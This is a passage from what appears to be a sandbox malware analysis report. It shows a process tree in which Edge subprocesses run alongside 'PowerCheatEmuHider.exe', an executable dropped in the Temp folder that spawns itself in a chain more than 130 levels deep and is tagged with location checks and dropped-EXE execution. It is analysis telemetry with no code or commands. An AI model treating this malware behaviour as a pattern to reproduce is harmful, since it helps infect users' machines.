        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
        6⤵
        
        PID:5236
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2644 /prefetch:8
        6⤵
        
        PID:5588
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
        6⤵
        
        PID:6208
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
        6⤵
        
        PID:6224
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4284 /prefetch:1
        6⤵
        
        PID:6884
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 /prefetch:8
        6⤵
        
        PID:5344
      - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 /prefetch:8
        6⤵
        
        PID:6408
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
        6⤵
        
        PID:7100
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:1
        6⤵
        
        PID:6996
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
        6⤵
        
        PID:6800
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
        6⤵
        
        PID:6048
  - - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
      "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:5984
    - - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6008
      - C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3236
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        7⤵
        Executes dropped EXE
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        8⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        9⤵
        
        PID:6720
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        10⤵
        
        PID:6892
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        11⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        12⤵
        
        PID:6480
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        13⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        14⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        15⤵
        
        PID:6632
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        16⤵
        
        PID:5464
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        17⤵
        
        PID:6048
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        18⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        19⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        20⤵
        
        PID:6556
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        21⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        22⤵
        
        PID:1452
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        23⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        24⤵
        
        PID:6576
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        25⤵
        
        PID:6348
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        26⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        27⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        28⤵
        
        PID:2324
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        29⤵
        
        PID:1792
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        30⤵
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        31⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        32⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        33⤵
        
        PID:6580
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        34⤵
        
        PID:6956
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        35⤵
        
        PID:6768
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        36⤵
        
        PID:6208
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        37⤵
        
        PID:6212
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        38⤵
        
        PID:6044
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        39⤵
        
        PID:6788
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        40⤵
        
        PID:5724
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        41⤵
        
        PID:7060
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        42⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        43⤵
        
        PID:6272
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        44⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        45⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        46⤵
        
        PID:6212
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        47⤵
        
        PID:1792
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        48⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        49⤵
        
        PID:5428
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        50⤵
        
        PID:6496
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        51⤵
        
        PID:5896
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        52⤵
        
        PID:5176
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        53⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        54⤵
        
        PID:3408
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        55⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        56⤵
        
        PID:6560
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        57⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        58⤵
        
        PID:6604
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        59⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        60⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        61⤵
        
        PID:6960
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        62⤵
        
        PID:5888
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        63⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        64⤵
        
        PID:6352
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        65⤵
        
        PID:3188
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        66⤵
        
        PID:6564
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        67⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        68⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        69⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        70⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        71⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        72⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        73⤵
        
        PID:3712
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        74⤵
        
        PID:6084
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        75⤵
        
        PID:6236
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        76⤵
        
        PID:6840
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        77⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        78⤵
        
        PID:2136
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        79⤵
        
        PID:1900
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        80⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        81⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        82⤵
        
        PID:6288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        83⤵
        
        PID:4636
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        84⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        85⤵
        
        PID:3792
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        86⤵
        
        PID:5124
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        87⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        88⤵
        
        PID:6684
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        89⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        90⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        91⤵
        
        PID:2268
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        92⤵
        
        PID:7160
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        93⤵
        
        PID:6900
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        94⤵
        
        PID:2324
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        95⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        96⤵
        
        PID:6280
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        97⤵
        
        PID:6448
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        98⤵
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        99⤵
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        100⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        101⤵
        
        PID:6936
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        102⤵
        
        PID:4032
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        103⤵
        
        PID:3200
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        104⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        105⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        106⤵
        
        PID:4008
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        107⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        108⤵
        
        PID:3036
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        109⤵
        
        PID:6336
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        110⤵
        
        PID:6332
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        111⤵
        
        PID:6724
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        112⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        113⤵
        
        PID:6872
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        114⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        115⤵
        
        PID:6804
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        116⤵
        
        PID:6484
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        117⤵
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        118⤵
        
        PID:6880
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        119⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        120⤵
        
        PID:7016
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        121⤵
        
        PID:6640
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        122⤵
        
        PID:7032
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        123⤵
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        124⤵
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        125⤵
        
        PID:1016
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        126⤵
        
        PID:4196
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        127⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        128⤵
        
        PID:6500
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        129⤵
        
        PID:3768
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        130⤵
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        131⤵
        
        PID:2012
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        132⤵
        
        PID:5420
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        133⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        134⤵
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PowerCheatEmuHider.exe"
        135⤵
        
        PID:4008
        
